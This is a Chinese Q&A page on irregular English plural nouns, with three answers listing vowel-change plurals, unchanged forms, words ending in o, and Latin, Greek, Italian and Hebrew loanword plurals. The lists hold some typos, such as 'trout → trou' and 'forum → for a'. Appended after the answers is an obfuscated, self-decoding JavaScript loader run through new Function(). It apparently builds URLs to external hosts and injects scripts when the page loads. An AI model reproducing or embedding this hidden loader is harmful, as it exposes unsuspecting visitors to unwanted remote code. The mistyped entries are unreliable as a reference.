英语中不规则名词变复数的单词

2024-11-06 14:52:55
推荐回答(3个)
回答1:

英语不规则名词复数表
一、 分类
1. 以f或fe结尾:大多数以f或fe结尾的名词的复数形式时将其转为ves,
但个别直接加s:

* roof → roofs 屋顶
* gulf → gulfs 海湾
* grief → griefs 悲伤, 悲痛, 担心
* cliff → cliffs 悬崖, 峭壁
* beef → beefs 牛肉
* chief → chiefs 首长, 首领
* proof → proofs 证明
* staff → staffs 全体职员

2. 元音:有些名称的复数形式是改变它们的元音声:

* -man → -men 男……
* -woman → -women 女……
* fireman → firemen 消防员
* foot → feet 脚
* goose → geese 鹅
* tooth → teeth 牙齿
* mouse → mice 老鼠
* louse → lice 虱子

3. 古代英语:有些是沿用古代英语:

* child → children 小孩, 儿童
* ox → oxen 牛, 阉牛

4. 以o结尾:
? 有的以o结尾的单词加“s”:

* auto → autos [美口] 汽车
* kangaroo → kangaroos 袋鼠
* kilo → kilos 千克, 公斤
* memo → memos [口] 备忘录
* photo → photos 照片
* piano → pianos 钢琴
* pimento → pimentos 多香果
* pro → pros 赞成意见
* con → cons 反对意见
* solo → solos, soli 独唱, 独奏
* soprano → sopranos 女高音
* studio → studios 工作室
* tattoo → tattoos 文身
* video → videos 视频
* zoo → zoos 动物园
* bamboo → bamboos 竹子

? 有的则加“es”:

* echo → echoes 回声, 反响
* embargo → embargoes 禁运, 禁运令
* hero → heroes 英雄
* potato → potatoes 土豆
* tomato → tomatoes 番茄
* torpedo → torpedoes 鱼雷, 水雷
* veto → vetoes 否决, 否决权
* negro → negroes 黑人

? 有的两种都可以:

* buffalo → buffalos / buffaloes / buffalo 水牛
* cargo → cargos / cargoes (船/飞机的)货物
* halo → halos / haloes 光环
* mosquito → mosquitos / mosquitoes 蚊子
* motto → mottos / mottoes 箴言, 格言
* no → nos / noes 没有
* tornado → tornados / tornadoes 龙卷风
* volcano → volcanos / volcanoes 火山
* zero → zeros / zeroes 零
* commando → commands / commandoes突击员

5. 不变:有的则不变:

* cod → cod 鳕鱼
* deer → deer 鹿
* fish → fish 鱼, 鱼类
* offspring → offspring 子孙, 后裔, 幼崽
* perch → perch 鲈鱼
* sheep → sheep 绵羊
* trout → trou 鲑鱼
* bison → bison 野牛
* moose → moose 驼鹿
* aircraft → aircraft 飞机, 飞行器

* barracks → barracks 兵营
* crossroads → crossroads 十字路口
* dice → dice 骰子
* gallows → gallows 绞刑架
* headquarters → headquarters 总部
* means → means 方法, 手段, 途径
* series → series 系列
* species → species 物种

6. 借用单词:英语中有些单词是借用其他语言的。部分借用单词的复数跟
随外语形式,下面每行的第二个单词都是外语形式,第三个为现时英语使用:
? 以“a”结尾的转为“ae”:

* alga → algae 水藻
* amoeba → amoebae, amoebas变形虫
* antenna → antennae, antennas 触角,天线
* formula → formulae, formulas 公式
* larva → larvae (昆虫的)幼虫
* nebula → nebulae, nebulas 星云
* vertebra → vertebrae, vertebras 脊椎骨
* alumna → alumnae 女校友

? 以“u”结尾的转为“ux”:

* beau → beaux, beaus 情郎, 纨绔子弟
* bureau → bureaux, bureaus 局, 机构
* tableau → tableaux, tableaus 舞台造型, 场景
* plateau → plateaux, plateaus 高原, 平顶

? 以“us”结尾的转为“-ora”、“-era”(适用于专业术语):

* corpus → corpora 资料, 文集, 文献
* genus → genera (动植物的)属, 类

? 以“us”结尾的转为“i”:

* alumnus → alumni 校友
* bacillus → bacilli 杆菌
* cactus → cacti, cactuses 仙人球,仙人掌
* focus → foci 焦点
* fungus → fungi, funguses 真菌
* nucleus → nuclei 核心, 原子核
* octopus → octopi, octopuses 章鱼
* radius → radii, radiuses 半径
* stimulus → stimuli 刺激物, 促进因素
* syllabus → syllabi, syllabuses 大纲, 提纲
* terminus → termini 终点, 目标, 界碑
* hippopotamus→ hippopotami 河马
* genius → genii, geniuses 天才
* abacus → abaci, abacuses 算盘

? 以“um”结尾的转为“a”:

* addendum → addenda 附录, 补遗
* bacterium → bacteria 细菌
* curriculum → curricula, curriculums 总课程
* datum → data 数据
* erratum → errata 写错, 排错, 勘误
* medium → media 媒体
* memorandum → memoranda, memorandums 备忘
* ovum → ova 卵子, 卵细胞
* stratum → strata, stratums 岩层, 地层, 阶层
* symposium → symposia, symposiums座谈会
* agendum → agenda 议程
* vacuum → vacua, vacuums 真空, 空虚, 空白
* gymnasium → gymnasia 健身房, 体育馆
* stadium → stadia, stadiums 体育场
* forum → for a, forums 论坛
* minimum → minima 最小量
* ultimatum → ultimata, ultimatums 最后通牒

? 以“ex”或“ix”结尾的转为“ices”:

* apex → apices, apexes 顶点
* appendix → appendices, appendixes 附录
* cervix → cervices, cervixes 宫颈
* index → indices, indexes 目录, 索引
* matrix → matrices, matrixes 模型, 矩阵
* vortex → vortices, vortexes 漩涡

? 以“is”结尾的转为“es”:

* analysis → analyses 分析, 解析, 纲领
* axis → axes 轴线, 中心线
* basis → bases 基础, 底座, 基点
* crisis → crises 危机, 危机时刻
* diagnosis → diagnoses 诊断法, 诊断结论
* emphasis → emphases 强调, 重点
* hypothesis → hypotheses 假设, 猜想
* neurosis → neuroses 神经机能病/官能症
* oasis → oases 绿洲, 乐土
* parenthesis → parentheses 插入语, 圆括号
* synopsis → synopses 摘要, 大纲
* thesis → theses 论文, 论题, 论点
* ellipsis → ellipses [语]省略
* synthesis → syntheses 综合, 合成

? 以“on”结尾的转为“a”:

* criterion → criteria (批评/判断的)标准
* phenomenon → phenomena 现象, 征兆
* automaton → automata 机器人, 机械手

? 英语中沿用其他语言的规则:
? 意大利语:“o”转为“i”

* libretto → libretti (歌剧等的)剧本
* tempo → tempi 拍子, 节奏, 速度
* virtuoso → virtuosi, virtuosos 艺术家
* concerto → concerti 协奏曲

? 希伯来语:加“im”

* cherub → cherubim 小天使
* seraph → seraphim 六翼天使

? 希腊语:加“ta”

* schema → schemata 概要, 计划, 图表
* stigma → stigmata 耻辱的标记, 瑕疵

二、 不规则名词复数列表(前面提到的除外)

A * abacus → abaci, abacuses 算盘
* addendum → addenda 附录, 补遗
* agendum → agenda 议程
* aircraft → aircraft 飞机, 飞行器
* alga → algae 水藻
* alumna → alumnae [美]女校友
* alumnus → alumni 校友
* analysis → analyses 分析, 解析, 纲领
* antenna → antennas, antennae 天线, 触角
* apex → apices, apexes 顶点
* appendix → appendices, appendixes 附录
* automaton → automata 机器人, 机械手
* axis → axes 轴线, 中心线
B * bacillus → bacilli 杆菌
* bacterium → bacteria 细菌
* basis → bases 基础, 底座, 基点
* beau → beaux, beaus 情郎, 纨绔子弟
* beef → beefs 牛肉
* bison → bison 野牛
* brace → brace 支架, 背带, 花括号
* sister-in-law → sisters-in-law 大小姨子, 大小姑子
* buffalo → buffalos, buffaloes, buffalo 水牛
* bureau → bureaux, bureaus 局, 机构
* bus → busses, buses 公共汽车
C * cactus → cactuses, cacti 仙人球, 仙人掌
* calf → calves 牛犊
* cargo → cargos / cargoes (船/飞机的)货物
* cervix → cervices, cervixes 宫颈
* cherub → cherubim 小天使
* chief → chiefs 首长, 首领
* child → children 儿童, 小孩
* Chinese → Chinese 中国
* cliff → cliffs 悬崖, 峭壁
* cod → cod * 鳕鱼
* corps → corps 军队, 特种部队
* corpus → corpora, corpuses 资料,文集,文献
* crisis → crises 危机, 危机时刻
* criterion → criteria (批评/判断的)标准
* curriculum → curricula, curriculums 总课程
D * datum → data 数据
* deer → deer 鹿
* dice → dice 骰子
* dwarf → dwarfs, dwarves 小矮人
* diagnosis → diagnoses 诊断法, 诊断结论
E * echo → echoes 回声, 反响
* elf → elves 小精灵
* ellipsis → ellipses [语]省略
* embargo → embargoes 禁运, 禁运令
* emphasis → emphases 强调, 重点
* erratum → errata 写错, 排错, 勘误
F * fireman → firemen 消防员
* fish → fish, fishes 鱼, 鱼类
* focus → focuses 焦点
* foot → feet 脚
* formula → formulae, formulas 公式, 方程式
* forum → for a, forums 论坛
* fungus → fungi, funguses 真菌
G * genus → genera (动植物的)属, 类
* goose → geese 鹅
* gallows → gallows 绞刑架
* genius → genii, geniuses 天才
* goosefoot → goosefoots 藜
* grief → griefs 悲伤, 悲痛, 担心
* gulf → gulfs 海湾
* gymnasium → gymnasia 健身房, 体育馆
H * half → halves 一半
* halo → halos, haloes 光环
* headquarters → headquarters 总部
* hero → heroes 英雄
* hippopotamus→hippopotami, hippopotamuses 河马
* hoof → hoofs, hooves 蹄
* hypothesis → hypotheses 假说, 猜想
I * index → indices, indexes 目录, 索引
K * knife → knives 小刀
L * larva → larvae (昆虫的)幼虫
* leaf → leaves 树叶
* libretto → libretti (歌剧等的)剧本
* life → lives 生命
* loaf → loaves 一块, 一条(面包等)
* louse → lice 虱子
* looker-on → lookers-on 围观者
M * -man → -men 男人
* man doctor → men doctors 男医生
* manservant → menservants 男仆
* man-time → men-times 人次
* man-day → man-days 人日
* matrix → matrices, matrixes 模型, 矩阵
* means → means 方法, 手段, 途径
* medium → media 媒质, 媒介
* memorandum → memoranda, memorandums 备忘
* millennium → millenniums, milennia
* moose → moose 驼鹿
* mosquito → mosquitoes, mosquitos 蚊子
* mouse → mice 老鼠
N * nebula → nebulae, nebulas 星云
* neurosis → neuroses 神经机能病/官能症
* no → nos / noes 没有
* nucleus → nuclei 核心, 原子核
O * oasis → oases 绿洲, 乐土
* octopus → octopi, octopuses 章鱼
* offspring → offspring 子孙, 后裔, 幼崽
* optimum → optima 有利条件
* ovum → ova 卵子, 卵细胞
* ox → oxen 牛, 阉牛
P * paralysis → paralyses 麻痹, 瘫痪, 中风
* parenthesis → parentheses 插入语, 圆括号
* penny → pence 便士
* perch → perch * 鲈鱼
* person → people 人
* phenomenon → phenomena 现象, 征兆
R * radius → radii, radiuses 半径
S * scarf → scarfs, scarves 围巾, 披肩
* schema → schemata 概要, 计划, 图表
* seed → seed, seeds 种子
* self → selves 自己
* seraph → seraphim 六翼天使
* series → series 系列
* sheaf sheaves [量] 捆, 束, 扎
* sheep → sheep 绵羊
* shelf → shelves 架子, 搁板
* shrimp → shrimp 虾, 小虾
* scissors → scissors 剪刀
* species → species 物种
* stadium → stadia, stadiums 体育场
* still life → still lifes 静物画
* stimulus → stimuli 刺激物, 促进因素
* stratum → strata, stratums 岩层, 地层, 阶层
* Swiss → Swiss 瑞士人
* syllabus → syllabi, syllabuses 大纲, 提纲
* symposium → symposia, symposiums 座谈会
* synthesis → syntheses 综合, 合成
* synopsis → synopses 摘要, 大纲
T * tableau → tableaux, tableaus 舞台造型, 场景
* tempo → tempi 拍子, 节奏, 速度
* terminus → termini 终点, 目标, 界碑
* that → those 那个
* thesis → theses 论文, 论题, 论点
* thief → thieves 贼, 小偷
* this → these 这个
* tooth → teeth 牙齿
* tornado tornados, tornadoes 龙卷风
* torpedo → torpedoes 鱼雷, 水雷

回答2:

很多很多,列举如下:
名词复数的不规则变化
1)child---children foot---feet tooth---teeth mouse---mice man---men woman---women
注意:与 man 和 woman构成的合成词,其复数形式也是 -men 和-women。
如: an Englishman,two Englishmen. 但German不是合成词,故复数形式为Germans;Bowman是姓,其复数是the Bowmans。
2)单复同形 如:deer, sheep fish, Chinese, Japanese li, jin, yuan, two li, three mu, four jin
但除人民币元、角、分外,美元、英镑、法郎等都有复数形式。如: a dollar, two dollars; a meter, two meters
3)集体名词,以单数形式出现,但实为复数。
如: people police cattle 等本身就是复数,不能说 a people,a police,a cattle,但可以说a person, a policeman, a head of cattle, the English, the British ,the French,
the Chinese,the Japanese,the Swiss 等名词,表示国民总称时,作复数用。
如:The Chinese are industries and brave.中国人民是勤劳勇敢的。
4)以s结尾,仍为单数的名词,如:
a. maths, politics, physics等学科名词,为不可数名词,是单数。
b. news 是不可数名词。
c. the United States, the United Nations 应视为单数。
The United Nations was organized in 1945. 联合国是1945年组建起来的。
d. 以复数形式出现的书名,剧名,报纸,杂志名,也可视为单数。
"The Arabian Nights" is a very interesting story-book. <<一千零一夜>>是一本非常有趣的故事书。
5) 表示由两部分构成的东西,如:glasses (眼镜) trousers, clothes等若表达具体数目,要借助数量词 pair(对,双); suit(套); a pair of glasses; two pairs of trousers
6) 另外还有一些名词,其复数形式有时可表示特别意思,如:goods货物,waters水域,fishes(各种)鱼

回答3:

foot-feet tooth-teeth goose-geese
man-men woman-women
单复数一样的Chinese Japanese sheep deer

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();